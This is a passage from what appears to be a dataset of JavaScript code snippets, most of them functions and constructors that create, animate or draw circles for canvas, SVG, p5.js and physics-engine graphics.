this.stroke_gap_length;\n new_circle.stroke_fill = this.stroke_fill;\n new_circle.stroke_color = this.stroke_color;\n new_circle.update_more = this.update_more;\n return new_circle;\n }\n\n //\n // proxy functions:\n //\n\n this.offset_position = function(offx, offy) {\n //-- shift_pos proxy\n //--\n\n this.shift_pos(offx, offy);\n }\n\n this.offset_turn = function(angle, point) {\n //-- rotate_around proxy\n //--\n\n this.rotate_around(angle, point);\n }\n\n this.offset_scale = function(scale, point) {\n //-- scale_around proxy\n //--\n\n this.scale_around(scale, point);\n }\n}//end SimpleCircle","createParticle() {\n noStroke();\n fill('rgba(200,169,169,random(0,1)');\n circle(this.x, this.y, this.r);\n }","function generate_circle(shape, center) {\n var radius = shape.dimensions['r'];\n var rotation = shape.rotation;\n var pinned = shape.pinned;\n var vertices = [];\n\n // Approximate the circle with a polygon\n var sides = 30; // Number of sides for the polygon approximation\n var theta = 0;\n for (var i = 0; i < sides; i++) {\n theta += (2*Math.PI)/sides;\n vertices.push({x: (radius * Math.cos(theta)) + center.x,\n y: radius * Math.sin(theta) + center.y})\n }\n\n // Adjust nodes to be defined from center of shape\n for (i of shape.nodes) {\n i['x'] += center.x\n i['y'] += center.y\n }\n\n new_shape = {\n vertices: vertices,\n nodes: shape.nodes,\n pinned: shape.pinned,\n center: center\n }\n\n return new_shape;\n}","circlePath (x, y, r) {\n return \"M\" + x + \",\" + y + \" \" +\n \"m\" + -r + \", 0 \" +\n \"a\" + r + \",\" + r + \" 0 1,0 \" + r * 2 + \",0 \" +\n \"a\" + r + \",\" + r + \" 0 1,0 \" + -r * 2 + \",0Z\";\n }","function initManyCircles() \r\n{\r\n\tfor (let i = 0; i < noc; i++) \r\n\t{\r\n\t\trandomInitialize();\r\n\r\n\t\tcircleArr.push(new Circle(center_x_pos,center_y_pos,radius,arc_start,arc_end,colour,dx,dy));\r\n\t}\t\r\n}","function EvilCircle(x, y, velX, velY, exists, color, size) {\n Shape.call(this, x, y, 20, 20, exists);\n this.color = color;\n this.size = size;\n}","function createCircle (number) {\n return new Circle({\n id: number,\n x: Math.floor((Math.random() * (width - maxCircleRadius)) + maxCircleRadius),\n y: Math.floor((Math.random() * (height - maxCircleRadius)) + maxCircleRadius),\n radius: Math.floor((Math.random() * maxCircleRadius) + minCircleRadius),\n direction: { dirX: Math.random() * animationSpeed, dirY: Math.random() * animationSpeed }\n })\n}","function Circle ( x, y, r){\n Shape.call(this,x,y); //powiązanie x y koła z x y kształtu!!\n this.r = r; \n\n}","function createFilledCircle(x,y,radius,color){\n let circle = GOval(x - radius,y - radius,2 * radius,2 * radius);\n circle.setColor(color);\n circle.setFilled(true);\n return circle;\n }","function circle18(x, y, r){\n for(let a=0; a<1000; a++){\n context.beginPath()\n let rt = r * Math.pow(Math.random(), 1/4)\n let theta = Math.random() * Math.PI * 2\n const xoff = Math.cos(theta) * rt + x\n const yoff = Math.sin(theta) * rt + y\n context.arc(xoff, yoff, 10, 0, 2 * Math.PI)\n context.stroke()\n }\n}","constructor (position, speed, radius, color) {\n this.position = position;\n this.speed = speed;\n this.radius = radius;\n this.color = color;\n this.imgX = this.position.x - this.radius;\n }","function createCircle() {\n $.get(\"/shape/circle\", function (data, status) {\n var obj = JSON.parse(data);\n app.drawCircle(obj.loc,obj.radius,obj.color);\n }, \"json\");\n}","function Circle(x, y, dx, dy, radius, minimumRadius) {\n this.x = x;\n this.y = y;\n this.dx = dx;\n this.dy = dy;\n this.radius = radius;\n this.minimumRadius = radius;\n this.color = colors[Math.round(Math.random() * colors.length - 1)];\n\n this.draw = function () {\n c.beginPath(); //need to have this beginPath to prevent the begin point connect to the previous\n c.arc(this.x, this.y, this.radius, 0, Math.PI * 2, false);\n c.fillStyle = this.color;\n // c.fillStyle = colors[Math.round(Math.random()*colors.length - 1)] //randomize the color, but this will blink\n c.fill();\n };\n\n this.update = function() {\n this.x = this.x + this.dx;\n this.y = this.y + this.dy;\n c.beginPath();\n c.arc(this.x, this.y, this.radius, 0, Math.PI * 2, false);\n\n if (this.x > innerWidth - this.radius || this.x < 0 + this.radius) {\n this.dx = -this.dx;\n };\n if (this.y > innerHeight - this.radius || this.y < 0 + this.radius) {\n this.dy = -this.dy;\n };\n\n //interactivity\n if (mouse.x - this.x < 50 && mouse.x - this.x > -50 && mouse.y - this.y < 50 && mouse.y - this.y > -50) {\n if(this.radius < maximumRadius){\n this.radius += 1;\n }\n } else if (this.radius > this.minimumRadius) {\n this.radius -= 1;\n } //make sure the circle have a distance from the mouse x horizontally and vertically\n //and make sure they are within the maximum and minimum radius range;\n\n this.draw();\n }\n\n}","function drawCircle(context){\r\n\tconsole.log(\"drawing circles\");\r\n\tfor(i = 0; i < circles.length; i++){\r\n\t\tcontext.beginPath();\r\n\t\tvar x = circles[i].xCenter;\r\n\t\tvar y = circles[i].yCenter;\r\n\t\tvar radius = circles[i].radius;\r\n\t\tconsole.log(\"drawing a circle at (\" + x + \", \" + y + \") with radius\" + radius);\r\n\t\tcontext.arc(x, y, radius, 0, 2*Math.PI);\r\n\t\tcontext.stroke();\r\n\t}\r\n}","function createCircle(radius) {\n let c = {\n radius,\n draw: function() {\n console.log(\"draw\");\n }\n };\n return c;\n}","createParticle() {\n noStroke();\n fill('rgba(200,169,169,1)');\n circle(this.x,this.y,this.r);\n }","function Circle(radius) {\n this.radius = radius;\n}","function SequentialCircles(radius) {\n const gap = 10;\n const arr = generateRadius(radius, 5);\n // console.log(arr, 'arr');\n\n this.paths = {};\n\n let y = gap;\n for (const r of arr) {\n // console.log(r, 'r');\n const circle = new makerjs.paths.Circle([0, y + r], r);\n y += 2 * r + gap;\n this.paths['circle_' + r] = circle;\n }\n}","function Circle(radius) {\n this.radius = radius; \n}","function newCircle() {\n x = random(windowWidth);\n y = random(windowHeight);\n r = random(255);\n g = random(255);\n b = random(255);\n}","constructor(x = 0, y = 0, vx = 0, vy = 0, theta = 0, av = 0, pts = f.geometry.shape.square(), circles = [], density = 1, springConstant = .5) {\n super(x, y, vx, vy, theta, av, pts, circles, density);\n }","function printCircles(){ /**This function prints out all the coloured circles to the screen*/\r\n\tfor(let i=0;i= 360) {\\r\\n\\t\\t\\t\\tthis.getColor = 0;\\r\\n\\t\\t\\t}\\r\\n }\\r\\n\\r\\n this.move = function() {\\r\\n this.position.y += this.speed; // The random speed for the Circle\\r\\n //this.position.x += this.sway; // If this is activated the circles will go in directions other than straight\\r\\n }\\r\\n\\r\\n ellipse(this.position.x, this.position.y, this.d, this.d); // The circles are drawn\\r\\n }\\r\\n}\",\n \"function CreateCircle(x, y, radius, option, rate) {\\n return Matter.Bodies.circle(x * rate, y * rate, radius * rate, option);\\n}\",\n \"function setupCircles(){\\n\\n var delay=0;\\n var i = 0;\\n for(var radius=canvasDiagonalFromCenter; radius>0; radius-=10){\\n var circle = new Circle(radius, 0*Math.PI + i , 2*Math.PI + i ,0,0,delay,inputSpeed,inputAcceleration);\\n circles.push(circle);\\n delay+=delayIncrements;\\n i+= 0.3*Math.PI;\\n }\\n drawAndUpdateCircles();\\n}\",\n \"function Circles(x, y, size)\\r\\n{\\r\\n this.x = x;\\r\\n this.y = y;\\r\\n this.size = size;\\r\\n this.shape = 'circle';\\r\\n}\",\n \"function circle(x,y,xVel,yVel,r,m)\\n{\\n\\tthis.x=x;\\n\\tthis.y=y;\\n\\tthis.xVel=xVel;\\n\\tthis.yVel=yVel;\\n\\tthis.mass=m;\\n\\tthis.r=r;\\n\\t\\n\\tthis.moveSpeed=2;\\n\\n}\",\n \"function buildCircleScene() {\\n var posOrig = new THREE.Vector2(0, 0, 0); \\n var posTarget = new THREE.Vector2(0, 0, 0); \\n var num = sceneData.nAgents;\\n var radius = 4;\\n\\n positionsArray = new Array();\\n\\n for (var i = 0; i < num; i++) {\\n // circle shape\\n var theta = 2*M_PI/num * i;\\n var xLoc = radius * Math.cos(theta);\\n var zLoc = radius * Math.sin(theta);\\n var xLocDest = radius * Math.cos(theta + M_PI);\\n var zLocDest = radius * Math.sin(theta + M_PI);\\n\\n posOrig = new THREE.Vector3(xLoc, zLoc);\\n posTarget = new THREE.Vector3(xLocDest, zLocDest);\\n\\n positionsArray.push(posOrig);\\n positionsArray.push(posTarget);\\n }\\n}\",\n \"function drawCircles() {\\n for (var i = 0; i < numCircles; i++) {\\n var randomX = Math.round(-100 + Math.random() * 704);\\n var randomY = Math.round(-100 + Math.random() * 528);\\n var speed = 1 + Math.random() * 3;\\n var size = 1 + Math.random() * circleSize;\\n\\n var circle = new Circle(speed, size, randomX, randomY);\\n circles.push(circle);\\n }\\n update();\\n }\",\n \"function addCircles(num){\\r\\n\\tfor(var i=0; i 0 && arguments[0] !== undefined ? arguments[0] : 0.0;var centerY = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 0.0;var radius = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : 1.0;var style = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : DefaultStyle.clone();var tessSegments = arguments.length > 4 && arguments[4] !== undefined ? arguments[4] : 20;_classCallCheck(this, Circle);\\n _this6 = _possibleConstructorReturn(this, _getPrototypeOf(Circle).call(this, style));\\n\\n _this6.polygon = new Polygon([], style);\\n\\n // Force polygon.id to be the same, so that its geometry is associated with this Circle.\\n // This is a bit hacky, but can be removed as soon as we use native arcs for circle rendering.\\n _this6.polygon.id = _this6.id;\\n\\n _this6.centerX = centerX;\\n _this6.centerY = centerY;\\n _this6.radius = radius;\\n _this6.tessSegments = tessSegments;\\n\\n _this6.needsUpdate = true;return _this6;\\n }\",\n \"function circle(self, xpos, ypos, radius) {\\n let positions = [];\\n let deltas = bfsDeltas[radius];\\n let deltaLength = deltas.length;\\n for (let k = 0; k < deltaLength; k++) {\\n \\n let nx = xpos + deltas[k][0];\\n let ny = ypos + deltas[k][1];\\n //self.log(`circle xy: ${xpos}, ${ypos}; NEW: ${nx}, ${ny}`);\\n if (inArr(nx,ny, self.map)){\\n positions.push([nx,ny]);\\n }\\n }\\n return positions;\\n}\",\n \"function createCircle(radius) {\\n return {\\n radius,\\n draw: function () {}\\n }\\n}\",\n \"function createCircle(cx, cy, radius) {\\n let a1 = new Arc();\\n a1.startX = cx + radius;\\n a1.startY = cy;\\n a1.endX = cx - radius;\\n a1.endY = cy;\\n a1.radiusX = radius;\\n a1.radiusY = radius;\\n\\n let a2 = new Arc();\\n a2.startX = cx - radius;\\n a2.startY = cy;\\n a2.endX = cx + radius;\\n a2.endY = cy;\\n a2.radiusX = radius;\\n a2.radiusY = radius;\\n\\n return [a1, a2];\\n}\",\n \"function addNewCircle() {\\n\\n // circles can expose in 3 position,\\n // bottom-left corner, bottom-right corner and bottom center.\\n const entrances = [\\\"bottomRight\\\", \\\"bottomCenter\\\", \\\"bottomLeft\\\"];\\n // I take one of entrances randomly as target entrance\\n const targetEntrance = entrances[rndNum(entrances.length, 0, true)];\\n\\n // we have 5 different gradient to give each\\n // circle a different appearance. each item\\n // in below array has colors and offset of gradient.\\n const possibleGradients = [\\n [\\n [0, \\\"rgba(238,31,148,0.14)\\\"],\\n [1, \\\"rgba(238,31,148,0)\\\"]\\n ],\\n [\\n [0, \\\"rgba(213,136,1,.2)\\\"],\\n [1, \\\"rgba(213,136,1,0)\\\"]\\n ],\\n [\\n [.5, \\\"rgba(213,136,1,.2)\\\"],\\n [1, \\\"rgba(213,136,1,0)\\\"]\\n ],\\n [\\n [.7, \\\"rgba(255,254,255,0.07)\\\"],\\n [1, \\\"rgba(255,254,255,0)\\\"]\\n ],\\n [\\n [.8, \\\"rgba(255,254,255,0.05)\\\"],\\n [.9, \\\"rgba(255,254,255,0)\\\"]\\n ]\\n ];\\n // I take one of gradients details as target gradient details\\n const targetGrd = possibleGradients[rndNum(possibleGradients.length, 0, true)];\\n\\n // each circle should have a radius. and it will be\\n // a random number between three and four quarters of canvas-min side\\n const radius = rndNum(canvasMin / 3, canvasMin / 4);\\n\\n // this will push the created Circle to the circles array\\n circles.push(new Circle(targetEntrance, radius, targetGrd))\\n}\",\n \"function createCircle(x,y)\\n{\\n\\t//each segment of the circle is its own circle svg, placed in an array\\n\\tvar donuts = new Array(9)\\n\\t\\n\\t//loop through the array\\n\\tfor (var i=0;i<9;i++){\\n\\t\\tdonuts[i]=document.createElementNS(\\\"http://www.w3.org/2000/svg\\\",\\\"circle\\\");\\n\\t\\tdonuts[i].setAttributeNS(null,\\\"id\\\",\\\"d\\\".concat(i.toString()));\\n\\t\\tdonuts[i].setAttributeNS(null,\\\"cx\\\",parseInt(x));\\n donuts[i].setAttributeNS(null,\\\"cy\\\",parseInt(y));\\n\\t\\tdonuts[i].setAttributeNS(null,\\\"fill\\\",\\\"transparent\\\");\\n\\t\\tdonuts[i].setAttributeNS(null,\\\"stroke-width\\\",3);\\n\\t\\t//each ring of circles has different radius values, and dash-array values\\n\\t\\t//dash array defines what percentage of a full circle is being drawn\\n\\t\\t//for example the inner circle has a radius of 15.91549, 2*pi*15.91549\\n\\t\\t//gives a circumfrence of 100 pixels for the circle, so defining the dasharray as 31 69 means that 31% of 100 pixels is drawn, and 69% is transparent.\\n\\t\\tif (i<3){\\n\\t\\t\\t\\t\\tdonuts[i].setAttributeNS(null,\\\"r\\\",15.91549);\\n\\t\\t\\t\\t\\tdonuts[i].setAttributeNS(null,\\\"stroke-dasharray\\\",\\\"31 69\\\");\\n\\t\\t}\\n\\t\\t//middle ring\\n\\t\\telse if (i<6){\\n\\t\\t\\tdonuts[i].setAttributeNS(null,\\\"r\\\",19.853);\\n\\t\\t\\tdonuts[i].setAttributeNS(null,\\\"stroke-dasharray\\\",\\\"39.185019 85.555059\\\");\\n\\t\\t}\\n\\t\\t//outer ring\\n\\t\\telse{\\n\\t\\t\\tdonuts[i].setAttributeNS(null,\\\"r\\\",23.76852);\\n\\t\\t\\tdonuts[i].setAttributeNS(null,\\\"stroke-dasharray\\\",\\\"47.335504 102.006512\\\");\\n\\t\\t}\\n\\t\\t//each point is added to the points SVGs, use insertBefore so that it is drawn below the points rather than above, which allows for click events to still occur\\n\\t\\t document.getElementById(\\\"points\\\").insertBefore(donuts[i],document.getElementById(\\\"points\\\").childNodes.item(0));\\n\\t}\\n\\t//each point has its own colour, dash offset and class. Dash offset is how far from the starting point (top of the circle) to begin drawing the segment\\n\\t//each class relates to a different css animation because each animation has a different starting point. Animations are defined in component.css\\ndonuts[0].setAttributeNS(null,\\\"stroke-dashoffset\\\",\\\"58.33333\\\" );\\n\\t\\t\\t\\t\\t\\tdonuts[0].setAttributeNS(null,\\\"class\\\",\\\"spin1\\\");\\ndonuts[1].setAttributeNS(null,\\\"stroke-dashoffset\\\",\\\"25\\\");\\n\\t\\t\\t\\t\\t\\t\\tdonuts[1].setAttributeNS(null,\\\"class\\\",\\\"spin2\\\");\\ndonuts[2].setAttributeNS(null,\\\"stroke-dashoffset\\\",\\\"91.66667\\\" );\\n\\t\\t\\t\\t\\t\\t\\tdonuts[2].setAttributeNS(null,\\\"class\\\",\\\"spin3\\\");\\ndonuts[3].setAttributeNS(null,\\\"stroke-dashoffset\\\",\\\"41.18502\\\" );\\n\\tdonuts[3].setAttributeNS(null,\\\"class\\\",\\\"spin4\\\");\\ndonuts[4].setAttributeNS(null,\\\"stroke-dashoffset\\\",\\\"82.76505\\\" );\\n\\tdonuts[4].setAttributeNS(null,\\\"class\\\",\\\"spin5\\\");\\ndonuts[5].setAttributeNS(null,\\\"stroke-dashoffset\\\",\\\"124.34508\\\");\\n\\tdonuts[5].setAttributeNS(null,\\\"class\\\",\\\"spin6\\\");\\ndonuts[6].setAttributeNS(null,\\\"stroke-dashoffset\\\",\\\"56.3355\\\");\\n\\tdonuts[6].setAttributeNS(null,\\\"class\\\",\\\"spin7\\\");\\ndonuts[7].setAttributeNS(null,\\\"stroke-dashoffset\\\",\\\"106.11618\\\");\\n\\tdonuts[7].setAttributeNS(null,\\\"class\\\",\\\"spin8\\\");\\ndonuts[8].setAttributeNS(null,\\\"stroke-dashoffset\\\",\\\"155.89685\\\");\\n\\tdonuts[8].setAttributeNS(null,\\\"class\\\",\\\"spin9\\\");\\ndonuts[0].setAttributeNS(null,\\\"stroke\\\",\\\"#115D6B\\\");\\ndonuts[1].setAttributeNS(null,\\\"stroke\\\",\\\"#D90981\\\");\\ndonuts[2].setAttributeNS(null,\\\"stroke\\\",\\\"#4A3485\\\");\\ndonuts[3].setAttributeNS(null,\\\"stroke\\\",\\\"#F51424\\\");\\ndonuts[4].setAttributeNS(null,\\\"stroke\\\",\\\"#0BA599\\\");\\ndonuts[5].setAttributeNS(null,\\\"stroke\\\",\\\"#1077B5\\\");\\ndonuts[6].setAttributeNS(null,\\\"stroke\\\",\\\"#FA893D\\\");\\ndonuts[7].setAttributeNS(null,\\\"stroke\\\",\\\"#87C537\\\");\\ndonuts[8].setAttributeNS(null,\\\"stroke\\\",\\\"#02B3EE\\\");\\n}\",\n \"function circle(x, y, px, py) {\\n //this is the speed part making the size be determined by speed of mouse\\n var distance = abs(x-px) + abs(y-py);\\n stroke(r, g, b);\\n strokeWeight(2);\\n //first set of variables for bigger circle\\n r = random(255);\\n g = random(255);\\n b = random(255);\\n\\n//second set of colours so the inner circle is different colour or else it is the same\\n r2 = random(255);\\n g2 = random(255);\\n b2 = random(255);\\n //this is the big circle\\n fill(r, g, b);\\n ellipse(x, y, distance, distance);\\n //this is the smaller inner circle\\n fill(r2, g2, b2);\\n ellipse(x, y, distance/2, distance/2);\\n}\",\n \"function drawCircle(radius, x, y) { svg.append(\\\"circle\\\").attr(\\\"fill\\\", \\\"red\\\").attr(\\\"r\\\", radius).attr(\\\"cx\\\", x).attr(\\\"cy\\\", y); }\",\n \"static createCircle(x, y, radius, numSides = -1) {\\n return new Ellipse(x, y, radius, radius, numSides)\\n }\",\n \"function createCircle(radius){\\n return{\\n radius,\\n draw (){\\n console.log('draw');\\n }\\n };\\n\\n }\",\n \"function OrthoganalCircle(theta,dTheta) {\\n \\n \\tlet R = 1.0/cos(dTheta);\\n this.r = abs(tan(dTheta));\\n // this.x = R*cos(theta);\\n // this.y = R*sin(theta);\\n \\t//endpoints\\n \\tthis.p1 = createVector(cos(theta-dTheta),sin(theta-dTheta));\\n this.p2 = createVector(cos(theta+dTheta),sin(theta+dTheta));\\n \\n \\tthis.center = createVector(R*cos(theta),R*sin(theta));\\n \\tthis.containsPoint = function(p){\\n \\t\\n \\treturn this.center.dist(p) < this.r;\\n };\\n \\t\\n \\n \\t/*\\n \\tCircle inversion. Swaps points inside the circle with points outside the circle. Like a refection in a line in hyperbolic space.\\n */\\n \\tthis.invert = function(p){ \\n \\t\\n \\n \\tlet op = this.center.dist(p);\\n \\n \\tlet oq = this.r*this.r/op;\\n \\t\\n \\tlet dq = p5.Vector.sub(p,this.center).normalize().mult(oq);\\n \\t\\n \\treturn p5.Vector.add(this.center,dq);\\n };\\n \\n \\tthis.draw = function(graphics) {\\n //Draw the arc\\n let v1 = p5.Vector.sub(this.p1,this.center);\\n let v2 = p5.Vector.sub(this.p2,this.center);\\n \\n let theta1 = v1.heading();\\n let theta2 = v2.heading();\\n \\n let i = ii(this.center.x);\\n let j = jj(this.center.y);\\n \\n graphics.arc(i,j, this.r*width,this.r*height ,theta2,theta1)\\n }\\n \\n this.drawAnchors = function(graphics) {\\n graphics.ellipse(ii(this.p1.x),jj(this.p1.y),4,4); \\n graphics.ellipse(ii(this.p2.x),jj(this.p2.y),4,4); \\n }\\n}\",\n \"_createRandomCircles2(options) {\\n let { n, filled, stroke, colours, minRadius, maxRadius, acceleration, friction, dx, dy } = options;\\n minRadius = minRadius ? minRadius : this.MIN_RADIUS;\\n maxRadius = maxRadius ? maxRadius : this.MAX_RADIUS;\\n dx = dx === undefined ? 2 : dx;\\n dy = dy === undefined ? 10 : dy;\\n\\n for (let i = 0; i < n; i++) {\\n const radius = randomIntFromRange(minRadius, maxRadius);\\n const x = randomIntFromRange(radius, this.canvas.width - radius);\\n const y = randomIntFromRange(0, this.canvas.height / 2);\\n const colour = randomColour(colours);\\n const dx_ = randomIntFromRange(-dx, dx);\\n const dy_ = randomIntFromRange(-dy, dy);\\n this.makeCircle({ x, y, dx: dx_, dy: dy_, colour, radius, filled, gravity: true, acceleration, friction, stroke })\\n }\\n\\n }\",\n \"constructor({colorCode, context, x, y, radius, percentFromCenter}) {\\n this.circles = [];\\n this.percentFromCenter = percentFromCenter;\\n\\n if (Math.abs(this.percentFromCenter) < 0.01) {\\n this.circles.push(new ColorCircle({\\n x: 0,\\n y: 0,\\n radius: radius,\\n colorCode: new ColorCode({\\n base: colorCode.getBase(),\\n bits: colorCode.getBits(),\\n red: colorCode.getComponent('R'),\\n green: colorCode.getComponent('G'),\\n blue: colorCode.getComponent('B')\\n }),\\n context\\n }));\\n }\\n else {\\n // Add red circle in bottom left position\\n this.circles.push(new ColorCircle({\\n x: x - radius * MAX_CIRCLE_DIST_MULT * this.percentFromCenter * RT_3_OVER_2,\\n y: y - radius * MAX_CIRCLE_DIST_MULT * this.percentFromCenter * ONE_HALF,\\n radius: radius,\\n colorCode: new ColorCode({\\n base: colorCode.getBase(),\\n bits: colorCode.getBits(),\\n red: colorCode.getComponent('R'),\\n green: 0,\\n blue: 0,\\n }),\\n context\\n }));\\n // Add green circle in top position\\n this.circles.push(new ColorCircle({\\n x: x,\\n y: y + radius * MAX_CIRCLE_DIST_MULT * this.percentFromCenter,\\n radius: radius,\\n colorCode: new ColorCode({\\n base: colorCode.getBase(),\\n bits: colorCode.getBits(),\\n red: 0,\\n green: colorCode.getComponent('G'),\\n blue: 0,\\n }),\\n context\\n }));\\n // Add blue circle in bottom right position\\n this.circles.push(new ColorCircle({\\n x: x + radius * MAX_CIRCLE_DIST_MULT * this.percentFromCenter * RT_3_OVER_2,\\n y: y - radius * MAX_CIRCLE_DIST_MULT * this.percentFromCenter * ONE_HALF,\\n radius: radius,\\n colorCode: new ColorCode({\\n base: colorCode.getBase(),\\n bits: colorCode.getBits(),\\n red: 0,\\n green: 0,\\n blue: colorCode.getComponent('B'),\\n }),\\n context\\n }));\\n }\\n }\",\n \"function Circle(speed, width, xPos, yPos) {\\n this.speed = speed\\n this.width = width\\n this.xPos = xPos\\n this.yPos = yPos\\n this.dx = Math.floor(Math.random() * 2) + 1\\n this.dy = Math.floor(Math.random() * 2) + 1\\n this.opacity = 0.05 + Math.random() * 0.5;\\n this.isEaten = false\\n this.color = colors[Math.floor(Math.random() * numColors - 1)]\\n\\n }\",\n \"function Circle(x, y, dx, dy, radius) {\\n this.x = x;\\n this.y = y;\\n // Step 4\\n this.dx = dx;\\n this.dy = dy;\\n this.radius = radius;\\n // Step 8 Add Color\\n this.colors = [\\\"#16a085\\\", \\\"#e74c3c\\\", \\\"#34495e\\\"];\\n\\n // Step 3 Add Draw Function\\n this.draw = function() {\\n c.beginPath();\\n c.arc(this.x, this.y, this.radius, 0, Math.PI * 2, false);\\n // Step 8 Add Color\\n c.strokeStyle = \\\"blue\\\";\\n // c.strokeStyle = this.colors[Math.floor(Math.random() * 3)];\\n c.stroke();\\n // c.fillStyle = this.colors[Math.floor(Math.random() * 3)];\\n };\\n\\n // Step 4 Update / Create Animation\\n // Add dx, dy, radius\\n this.update = function() {\\n if (this.x + this.radius > innerWidth || this.x - this.radius < 0) {\\n this.dx = -this.dx;\\n }\\n\\n if (this.y + this.radius > innerHeight || this.y - this.radius < 0) {\\n this.dy = -this.dy;\\n }\\n\\n this.x += this.dx;\\n this.y += this.dy;\\n\\n // Step 5 add draw\\n this.draw();\\n };\\n}\",\n \"function Circle(x, y, dx, dy, radius) {\\n this.x = x;\\n this.y = y;\\n this.dx = dx;\\n this.dy = dy;\\n this.radius = radius;\\n \\n // FUNCTION FOR DRAWING NEW CIRCLE\\n this.draw = function() {\\n context.beginPath();\\n context.arc(this.x, this.y, this.radius, 0, Math.PI * 2, false);\\n context.fillStyle = circleBodyColor;\\n context.strokeStyle = circleLineColor;\\n context.stroke();\\n context.fill();\\n }\\n\\n // FUNCTION WITH LOGIC FOR MOVEMENT OF THE CIRCLES\\n this.update = function() {\\n // MOVING CIRCLES LEFT AND RIGHT\\n if (this.x + this.radius + 1 > innerWidth || this.x - this.radius < 0 ) {\\n this.dx = -this.dx;\\n }\\n\\n // MOVING CIRCLE UP AND DOWN\\n if (this.y + this.radius + 1 > innerHeight || this.y - this.radius < 0) {\\n this.dy = -this.dy;\\n }\\n this.x += this.dx;\\n this.y += this.dy;\\n \\n // AFTER MOVEMENT IS UPDATED, DRAW EVERYTHING AGAIN\\n this.draw();\\n }\\n}\",\n \"function drawCircles() {\\n canvasContext.fillStyle = 'white';\\n canvasContext.fillRect(0, 0, xMax, yMax);\\n\\n for (let i = 0; i < particles.length; i++) {\\n let r = particles[i].circleShape.radius;\\n canvasContext.drawImage(\\n particleImages[r],\\n particles[i].position[0] - r + (xMax / 2),\\n particles[i].position[1] - r + (yMax / 2)\\n );\\n }\\n\\n for (let i = 0; i < circles.length; i++) {\\n canvasContext.save();\\n\\n canvasContext.lineWidth = LINE_WIDTH;\\n canvasContext.strokeStyle = colors[i];\\n\\n canvasContext.beginPath();\\n\\n canvasContext.arc(\\n circles[i].position[0] + (xMax / 2),\\n circles[i].position[1] + (yMax / 2),\\n circles[i].circleShape.radius,\\n 0,\\n Math.PI * 2\\n );\\n canvasContext.stroke();\\n canvasContext.fill();\\n\\n canvasContext.restore();\\n }\\n }\",\n \"function Circle(x, y, vx, vy, r, growth) {\\n this.x = x;\\n this.y = y;\\n this.vx = vx;\\n this.vy = vy;\\n this.r = r;\\n this.color = canvasColors[0];\\n this.alpha = 1;\\n\\n this.draw = function() {\\n contextCanvas.beginPath();\\n contextCanvas.strokeStyle = this.color.replace('x', + this.alpha);\\n contextCanvas.arc(this.x, this.y, this.r, Math.PI * 2, false);\\n contextCanvas.lineWidth = 2;\\n contextCanvas.stroke();\\n contextCanvas.fillStyle = 'transparent';\\n contextCanvas.fill();\\n }\\n\\n this.update = function() {\\n this.x += this.vx;\\n this.y += this.vy;\\n this.alpha -= 0.015;\\n this.r += growth;\\n this.draw();\\n }\\n}\",\n \"function createCircle(radius) {\\n return {\\n radius,\\n draw() {\\n console.log(\\\"draw\\\");\\n },\\n };\\n}\",\n \"function createCircle(radius) {\\n return {\\n radius,\\n draw() {\\n console.log(\\\"draw\\\");\\n },\\n };\\n}\",\n \"function createCircle(radius) {\\n return {\\n radius,\\n draw() {\\n console.log(\\\"draw\\\");\\n }\\n };\\n}\",\n \"function createCircle(radius) {\\n return {\\n radius,\\n draw() {\\n console.log(\\\"draw\\\");\\n }\\n };\\n}\",\n \"constructor(x, y, radius) {\\n super(createVector(x, y));\\n this.x = x;\\n this.y = y;\\n this.radius = radius;\\n this.setShape();\\n this.fixtureType = \\\"circle\\\";\\n\\n }\",\n \"function circlePoint(x, y, r, type, force, exceptions) {\\n elipsePoint(x, y, r, r, type, force, exceptions);\\n }\",\n \"constructor(x, y, radius, color, xspeed, yspeed) {\\n this.x = x;\\n this.y = y;\\n this.radius = radius;\\n this.color = color;\\n this.xspeed = xspeed;\\n this.yspeed = yspeed;\\n }\",\n \"function Circle (x, y, dx, dy, radius) {\\n this.x = x;\\n this.y = y;\\n this.dx = dx;\\n this.dy = dy;\\n this.radius = radius;\\n\\n // Create a nameless function\\n this.draw = function() {\\n context.beginPath();\\n // arc(x, y, radius: Int, startAngle: float, endAngle: float, drawCounterClockwise: bool)\\n context.arc(this.x, this.y, this.radius, 0, Math.PI * 2, false);\\n context.strokeStyle = ' #000000';\\n //context.strokeStyle = '#'+Math.floor(Math.random()*16777215).toString(16);\\n context. stroke();\\n }\\n\\n this.update = function() {\\n if( this.x + this.radius > innerWidth || this.x - this.radius < 0 ) {\\n this.dx = -this.dx;\\n }\\n \\n if( this.y + this.radius > innerHeight || this.y - this.radius < 0 ) {\\n this.dy = -this.dy;\\n }\\n \\n this.x += this.dx;\\n this.y += this.dy;\\n\\n this.draw();\\n }\\n}\",\n \"function calculateCircle(c1, c2, c3, properties, pathIndex, level)\\n{\\t\\n\\tcalCount++;\\n\\t\\n\\tvar k1 = properties.k1;\\n\\tvar k2 = properties.k2;\\n\\tvar k3 = properties.k3;\\n\\tvar k4 = properties.k4;\\n\\t\\n\\tvar z4 = mRC((1/k4), aCC(aCC(aCC(mRC(k1, c1._origin), mRC(k2, c2._origin)), mRC(k3, c3._origin)), mRC(2, sqrtC(aCC(aCC(mRC(k1*k2, mCC(c1._origin, c2._origin)), mRC(k2*k3, mCC(c2._origin, c3._origin))), mRC(k1*k3, mCC(c1._origin, c3._origin)))))));\\n\\tvar tangencyList = [c1, c2, c3];\\n\\tvar circ = new Circle(z4, 1/k4, c1.id + pathIndex, tangencyList, c1, level+1, \\\"#FFFFFF\\\", false);\\n\\t\\n\\treturn circ;\\n}\",\n \"function Circle(x,y,dx,dy,radius){\\n //independent x&y values\\n this.x = x;\\n this.y = y;\\n this.dx = dx;\\n this.dy = dy;\\n this.radius = radius;\\n\\n//creating a method within an object to create a circle every time this function is called anonymous function\\n this.draw = function() {\\n //console.log('hello there');\\n //arc //circle\\n c.beginPath();\\n c.arc(this.x, this.y, this.radius, 0, Math.PI*2, false);\\n c.strokeStyle = 'pink';\\n c.stroke();\\n c.fill();\\n}\\n\\nthis.update = function() {\\n //moving circle by 1px --> x += 1;\\n\\n if(this.x + this.radius > innerWidth ||\\n this.x - this.radius < 0){\\n this. dx = -this.dx;\\n }\\n if(this.y + this.radius > innerHeight ||\\n this.y - this.radius < 0){\\n this.dy = -this.dy;\\n }\\n this.x += this.dx; \\n this.y += this.dy;\\n\\n this.draw();\\n }\\n}\",\n \"function Circle () {\\n /**\\n * Radius of circle\\n * @type Ray3d\\n */\\n this.fRadius = 0.0;\\n /**\\n * Point of 